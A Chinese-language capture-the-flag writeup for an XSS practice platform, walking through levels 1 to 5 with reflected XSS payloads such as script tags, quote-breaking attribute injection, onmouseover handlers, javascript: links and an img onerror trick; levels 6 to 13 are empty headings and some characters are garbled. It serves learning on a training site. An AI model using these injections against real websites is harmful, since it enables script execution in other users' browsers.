XSS平台 XSS挑战之旅 解题记录 writeup
XSS平臺 XSS挑戰(zhàn)之旅 解題記錄 writeup
- level1
- level2
- level3
- level4
- level5
- level6
- level7
- level8
- level9
- level10
- level11
- level12
- level13
XSS挑戰(zhàn)之旅是一個練習(xí)簡單XSS腳本注入的平臺,通過檢測彈窗判斷用戶是否通關(guān)。
但前幾關(guān)存在bug,只要在網(wǎng)頁源碼圖片鏈接處插入JavaScript代碼即可產(chǎn)生彈窗,達(dá)到通關(guān)的目的。
注:Google Chrome存在過濾彈窗,用Firefox瀏覽器。 <center><img src="level.png"></center> //源碼 <center><img src=x onerror=alert(1)></center> //將其修改為這樣即可bug通關(guān)
詳盡的XSS跨站腳本攻擊請看:XSS跨站腳本攻擊原理與常見的腳本及《XSS跨站腳本攻擊剖析與防御》摘錄總結(jié)
level1
頁面中沒有輸入點(diǎn),但發(fā)現(xiàn)通過地址欄傳入的參數(shù)‘name=test’會回顯在頁面,
嘗試通過在URL中構(gòu)造payload完成XSS攻擊:
http://test.xss.tv/level1.php?name=<script>alert(1);</script>觸發(fā)彈窗,完成的不錯!通關(guān)。
level2
頁面存在輸入框,搜索的數(shù)據(jù)在頁面有回顯,在搜索框構(gòu)造payload并提交:
返回的頁面并沒有觸發(fā)彈窗,查看網(wǎng)頁源代碼:
<h1 align=center>歡迎來到level2</h1> <h2 align=center>沒有找到和<script>alert(1);</script>相關(guān)的結(jié)果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1);</script>">發(fā)現(xiàn)在<h2>標(biāo)簽中,‘<>’符號被轉(zhuǎn)譯,但在<input>標(biāo)簽中‘value’的值完整顯示了輸入的payload,嘗試閉合value的值,在輸入框重新構(gòu)造xss注入代碼:
"><script>alert(1);</script> //提交后源碼變?yōu)?#xff1a; <input name=keyword value=""><script>alert(1);</script>">觸發(fā)彈窗,完成的不錯!通關(guān)。
level3
頁面存在輸入框,搜索的數(shù)據(jù)在頁面有回顯,在搜索框構(gòu)造payload并提交:
返回的頁面并沒有觸發(fā)彈窗,查看網(wǎng)頁源代碼:
<h1 align=center>歡迎來到level3</h1> <h2 align=center>沒有找到和<script>alert(1);</script>相關(guān)的結(jié)果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert(1);</script>'>發(fā)現(xiàn)在<h2>和<input>標(biāo)簽中,‘<>’符號均被轉(zhuǎn)譯,嘗試搜索“<"/()’>”,在網(wǎng)頁源代碼查看符號被轉(zhuǎn)譯的情況,發(fā)現(xiàn)‘<">‘被編碼
<h2 align=center>沒有找到和<"/()'>相關(guān)的結(jié)果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<"/()'>'>嘗試閉合‘value’的值,通過事件觸發(fā)彈窗,在輸入框構(gòu)造新的payload:
' οnmοuseοver='alert(1) //提交后源碼變?yōu)?#xff1a; <input name=keyword value='' onmouseover='alert(1)'>鼠標(biāo)移到輸入框便觸發(fā)事件產(chǎn)生彈窗,完成的不錯!通關(guān)。
level4
頁面存在輸入框,搜索的數(shù)據(jù)在頁面有回顯,嘗試搜索“<"/()’>”,在網(wǎng)頁源代碼中查看符號被轉(zhuǎn)譯的情況,
發(fā)現(xiàn)在<h2>標(biāo)簽中,‘<">’被編碼,<input>標(biāo)簽里‘value’中的’<>'被替換為空白,嘗試閉合‘value’的值,通過事件觸發(fā)彈窗,在輸入框構(gòu)造新的payload:
" οnmοuseοver="alert(1) //提交后源碼變?yōu)?#xff1a; <input name=keyword value="" onmouseover="alert(1)">鼠標(biāo)移到輸入框便觸發(fā)事件產(chǎn)生彈窗,完成的不錯!通關(guān)。
level5
頁面存在輸入框,搜索的數(shù)據(jù)在頁面有回顯,嘗試搜索“<"/()’>”,在網(wǎng)頁源代碼中查看符號被轉(zhuǎn)譯的情況,
搜索"onmouseover"和’<script>alert(1);</script>’,在網(wǎng)頁源代碼中查看符號被轉(zhuǎn)譯的情況,
<input name=keyword value="o_nmouseover"> <input name=keyword value="<scr_ipt>alert(1);</script>">發(fā)現(xiàn)在<h2>標(biāo)簽中,‘<">’被編碼,<input>標(biāo)簽里‘value’中的‘onmouseover’被替換為‘o_nmouseover’,'script’被替換為scr_ipt,嘗試閉合‘value’的值,通過<a href=>標(biāo)簽中的引用屬性,在輸入框構(gòu)造新的payload:
"><a href="javascript:alert(1);">aaa</a> //提交后源碼變?yōu)?#xff1a; <input name=keyword value=""><a href="javascript:alert(1);">aaa</a>">
通過點(diǎn)擊aaa鏈接,觸發(fā)javascript腳本引用屬性產(chǎn)生彈窗,完成的不錯!通關(guān)。
level6
level7
level8
level9
level10
level11
level12
level13
總結(jié)
以上是生活随笔為你收集整理的XSS平台 XSS挑战之旅 解题记录 writeup的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 好用的JSON格式化工具
- 下一篇: ASTER: An Attentiona